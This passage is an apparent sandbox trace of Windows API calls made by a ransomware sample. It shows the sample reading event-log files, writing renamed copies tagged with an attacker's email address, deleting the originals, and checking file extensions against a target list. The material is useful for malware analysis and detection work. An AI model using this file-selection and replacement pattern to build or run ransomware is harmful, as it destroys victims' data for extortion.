lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.341] WriteFile (in: hFile=0x10b4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x10a, lpOverlapped=0x0) returned 1 [0144.341] SetEndOfFile (hFile=0x10b4) returned 1 [0144.341] CloseHandle (hObject=0x10b4) returned 1 [0144.345] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.345] SetEndOfFile (hFile=0x10c8) returned 1 [0144.346] CloseHandle (hObject=0x10c8) returned 1 [0144.346] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.347] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0144.347] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.347] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.347] lstrlenW (lpString=".doc") returned 4 [0144.347] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.347] lstrlenW (lpString=".docx") returned 5 [0144.347] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.347] lstrlenW (lpString=".pdf") returned 4 [0144.347] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.347] lstrlenW (lpString=".xls") returned 4 [0144.348] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.348] lstrlenW (lpString=".xlsx") returned 5 [0144.348] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.348] lstrlenW (lpString=".ppt") returned 4 [0144.348] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.348] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.348] lstrlenW (lpString=".zip") returned 4 [0144.348] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.348] lstrlenW (lpString=".rar") returned 4 [0144.348] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.348] lstrlenW (lpString=".bz2") returned 4 [0144.348] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.348] lstrlenW (lpString=".7z") returned 3 [0144.348] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.348] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.348] lstrlenW (lpString=".dbf") returned 4 [0144.348] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.348] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.348] lstrlenW (lpString=".1cd") returned 4 [0144.348] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.348] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.348] lstrlenW (lpString=".jpg") returned 4 [0144.348] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.349] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.349] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.349] lstrlenW (lpString=".doc") returned 4 [0144.349] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.349] lstrlenW (lpString=".docx") returned 5 [0144.349] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.349] lstrlenW (lpString=".pdf") returned 4 [0144.349] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.349] lstrlenW (lpString=".xls") returned 4 [0144.349] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.349] lstrlenW (lpString=".xlsx") returned 5 [0144.349] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.349] lstrlenW (lpString=".ppt") returned 4 [0144.349] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.349] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.349] lstrlenW (lpString=".zip") returned 4 [0144.349] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.349] lstrlenW (lpString=".rar") returned 4 [0144.349] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.349] lstrlenW (lpString=".bz2") returned 4 [0144.349] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.349] lstrlenW (lpString=".7z") returned 3 [0144.349] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.349] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.349] lstrlenW (lpString=".dbf") returned 4 [0144.349] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.349] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.350] lstrlenW (lpString=".1cd") returned 4 [0144.350] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.350] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0144.350] lstrlenW (lpString=".jpg") returned 4 [0144.350] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.350] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0144.350] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47 [0144.350] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0144.350] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0144.350] CloseHandle (hObject=0x10c8) returned 1 [0144.350] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0144.351] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.351] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0144.351] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.351] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.351] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.351] GetLastError () returned 0x0 [0144.351] ReadFile (in: hFile=0x10c8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0144.554] WriteFile (in: hFile=0x10b4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0144.556] ReadFile (in: hFile=0x10c8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.556] WriteFile (in: hFile=0x10b4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x132, lpOverlapped=0x0) returned 1 [0144.557] SetEndOfFile (hFile=0x10b4) returned 1 [0144.557] CloseHandle (hObject=0x10b4) returned 1 [0144.577] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.577] SetEndOfFile (hFile=0x10c8) returned 1 [0144.578] CloseHandle (hObject=0x10c8) returned 1 [0144.578] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.579] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0144.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.579] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.579] lstrlenW (lpString=".doc") returned 4 [0144.579] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.579] lstrlenW (lpString=".docx") returned 5 [0144.579] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.580] lstrlenW (lpString=".pdf") returned 4 [0144.580] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.580] lstrlenW (lpString=".xls") returned 4 [0144.580] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.580] lstrlenW (lpString=".xlsx") returned 5 [0144.580] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.580] lstrlenW (lpString=".ppt") returned 4 [0144.580] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.580] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.580] lstrlenW (lpString=".zip") returned 4 [0144.580] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.580] lstrlenW (lpString=".rar") returned 4 [0144.580] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.580] lstrlenW (lpString=".bz2") returned 4 [0144.580] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.580] lstrlenW (lpString=".7z") returned 3 [0144.580] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.580] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.580] lstrlenW (lpString=".dbf") returned 4 [0144.580] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.580] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.580] lstrlenW (lpString=".1cd") returned 4 [0144.580] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.580] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.580] lstrlenW (lpString=".jpg") returned 4 [0144.580] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.581] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.581] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.581] lstrlenW (lpString=".doc") returned 4 [0144.581] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.581] lstrlenW (lpString=".docx") returned 5 [0144.581] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.581] lstrlenW (lpString=".pdf") returned 4 [0144.581] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.581] lstrlenW (lpString=".xls") returned 4 [0144.581] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.581] lstrlenW (lpString=".xlsx") returned 5 [0144.581] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.581] lstrlenW (lpString=".ppt") returned 4 [0144.581] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.581] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.581] lstrlenW (lpString=".zip") returned 4 [0144.581] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.581] lstrlenW (lpString=".rar") returned 4 [0144.581] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.581] lstrlenW (lpString=".bz2") returned 4 [0144.581] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.581] lstrlenW (lpString=".7z") returned 3 [0144.581] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.581] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.581] lstrlenW (lpString=".dbf") returned 4 [0144.581] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.581] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.582] lstrlenW (lpString=".1cd") returned 4 [0144.582] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.582] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0144.582] lstrlenW (lpString=".jpg") returned 4 [0144.582] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.582] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0144.582] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45 [0144.582] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0144.610] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0144.610] CloseHandle (hObject=0x10a8) returned 1 [0144.610] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0144.611] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.616] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0144.616] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.616] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.616] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0144.616] GetLastError () returned 0x0 [0144.617] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0144.696] WriteFile (in: hFile=0x103c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0144.698] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.698] WriteFile (in: hFile=0x103c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x12e, lpOverlapped=0x0) returned 1 [0144.698] SetEndOfFile (hFile=0x103c) returned 1 [0144.753] CloseHandle (hObject=0x103c) returned 1 [0144.779] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.779] SetEndOfFile (hFile=0x10a8) returned 1 [0144.781] CloseHandle (hObject=0x10a8) returned 1 [0144.781] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.781] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0144.781] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.781] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.781] lstrlenW (lpString=".doc") returned 4 [0144.781] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.781] lstrlenW (lpString=".docx") returned 5 [0144.781] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.781] lstrlenW (lpString=".pdf") returned 4 [0144.781] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.781] lstrlenW (lpString=".xls") returned 4 [0144.781] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.781] lstrlenW (lpString=".xlsx") returned 5 [0144.781] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.781] lstrlenW (lpString=".ppt") returned 4 [0144.781] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.781] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.781] lstrlenW (lpString=".zip") returned 4 [0144.781] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString=".rar") returned 4 [0144.782] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString=".bz2") returned 4 [0144.782] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString=".7z") returned 3 [0144.782] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.782] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.782] lstrlenW (lpString=".dbf") returned 4 [0144.782] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.782] lstrlenW (lpString=".1cd") returned 4 [0144.782] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.782] lstrlenW (lpString=".jpg") returned 4 [0144.782] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.782] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.782] lstrlenW (lpString=".doc") returned 4 [0144.782] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString=".docx") returned 5 [0144.782] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.782] lstrlenW (lpString=".pdf") returned 4 [0144.782] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString=".xls") returned 4 [0144.782] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString=".xlsx") returned 5 [0144.782] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.782] lstrlenW (lpString=".ppt") returned 4 [0144.782] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.782] lstrlenW (lpString=".zip") returned 4 [0144.782] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString=".rar") returned 4 [0144.782] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.782] lstrlenW (lpString=".bz2") returned 4 [0144.782] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.783] lstrlenW (lpString=".7z") returned 3 [0144.783] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.783] lstrlenW (lpString=".dbf") returned 4 [0144.783] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.783] lstrlenW (lpString=".1cd") returned 4 [0144.783] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0144.783] lstrlenW (lpString=".jpg") returned 4 [0144.783] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.783] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0144.783] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56 [0144.783] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0144.783] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0144.783] CloseHandle (hObject=0x10a8) returned 1 [0144.783] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0144.783] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.783] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0144.784] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.784] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.784] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0144.784] GetLastError () returned 0x0 [0144.784] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0145.007] WriteFile (in: hFile=0x103c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0145.009] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.009] WriteFile (in: hFile=0x103c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x144, lpOverlapped=0x0) returned 1 [0145.009] SetEndOfFile (hFile=0x103c) returned 1 [0145.010] CloseHandle (hObject=0x103c) returned 1 [0145.012] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.012] SetEndOfFile (hFile=0x10a8) returned 1 [0145.014] CloseHandle (hObject=0x10a8) returned 1 [0145.014] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.014] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0145.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.015] lstrlenW (lpString=".doc") returned 4 [0145.015] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.015] lstrlenW (lpString=".docx") returned 5 [0145.015] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.015] lstrlenW (lpString=".pdf") returned 4 [0145.015] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.015] lstrlenW (lpString=".xls") returned 4 [0145.015] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.015] lstrlenW (lpString=".xlsx") returned 5 [0145.015] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.015] lstrlenW (lpString=".ppt") returned 4 [0145.015] lstrcmpiW 